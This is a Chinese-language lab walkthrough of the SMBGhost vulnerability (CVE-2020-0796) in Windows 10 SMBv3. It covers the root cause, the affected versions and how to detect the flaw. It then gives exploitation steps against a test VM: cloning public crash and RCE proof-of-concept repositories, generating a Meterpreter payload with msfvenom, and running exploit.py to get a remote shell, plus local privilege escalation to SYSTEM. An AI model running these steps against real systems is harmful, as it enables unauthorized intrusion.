漏洞简介
2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,恶意伪造的压缩数据包 时出现的错误引发的,从而造成SMB服务器的缓冲区溢出,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
概述
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
原理
漏洞存在于在srv2.sys驱动中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候调用函数Srv2DecompressData处理压缩数据时候,对压缩数据头部压缩数据大小OriginalCompressedSegmentSize和其偏移Offset的没有检查其是否合法,导致其相加可分配较小的内存,后面调用SmbCompressionDecompress进行数据处理时候使用这片较小的内存可导致拷贝溢出或越界访问,而在执行本地程序的时候,可通过获取当前本地程序的token+0x40的偏移地址,通过发送压缩数据给SMB服务器,之后此偏移地址在解压缩数据时候拷贝的内核内存中,通过精心构造的内存布局在内核中修改token将权限提升。
影响范围
漏洞不影响 win7,漏洞影响 Windows 10 1903 之后的各个 32 位、64 位版 Windows,包括家用版、专业版、企业版、教育版。
Windows 10 Version 1903 for 32-bit
Windows 10 Version 1903 for x64
Windows 10 Version 1903 for arm64
Windows 10 Version 1909 for 32-bit
Windows 10 Version 1909 for x64
Windows 10 Version 1909 for arm64
Windows Server 10 Version 1903 for server core installation
Windows Server 10 Version 1909 for server core installation
环境准备
环境搭建
- 攻击机:Kali Linux
- IP:192.168.219.135
可以 ping 通 win10 虚拟机
- 靶 机:Windows 10 虚拟机 1909 x64 (专业版)
- IP:192.168.219.142
关闭防火墙和 defender
1903 或者 1909 版本均可,我这里用的是1909版本
宿主机:Windows 7
环境要求
首先确认系统版本符合要求
使用systeminfo确定下主机有没有打过这个补丁KB4551762
关闭防火墙和 defender
漏洞检测
git脚本检测
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。
PS:脚本适用python3,宿主机电脑中只有python2,稍微修改一下print即可
奇信安检测工具
适用于局域网批量检测,快速查找未打补丁的机器。
腾讯电脑管家SMB漏洞修复工具
适用于个人用户检测,一键快速检测和修复。
漏洞利用
蓝屏演示
蓝屏攻击POC:
1 | git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git |
安装脚本和依赖库
依赖库安装成功后执行蓝屏攻击脚本
攻击成功结果如下
提权演示
本地提权POC:
文件编译结果执行文件有两个,一个动态的,一个静态的,动态的需要另外安装相关dll文件,我们直接执行静态提权程序,成功弹出更高的system权限命令执行窗口
RCE演示
远程利用POC:
- Kali下载POC
1 | root@kali:~/cve# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC |
PS:该POC需要用python3环境执行
- 使用msfvenom生成payload,生成TXT文件便于后面修改
1 | root@kali:~/cve/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o 1.txt |
- 将1.txt 生成的code中参数buf改为USER_PAYLOAD,然后替换到exploit.py中的USER_PAYLOAD参数。(顺序不要颠倒,否则执行会失败的,因为你在py全文替换buf的话,不小心会把代码中的全部的buf替换的)
这里不要忘记字符串前面的二进制格式换b""
不然脚本执行错误
- 新建一个终端,启动msf监听本地端口
1 | root@kali:~# msfconsole |
- 运行exploit.py
python3 exploit.py -ip 192.168.219.142
一开始没反应,试了好几次,最后成功反弹shell(大家尝试的时候多试几次,看网上其他大佬说很容易蓝屏,蓝屏没有遇到,只是前几次每次执行后没反应,然后发现win10卡死了,ping不通,重启靶机即可)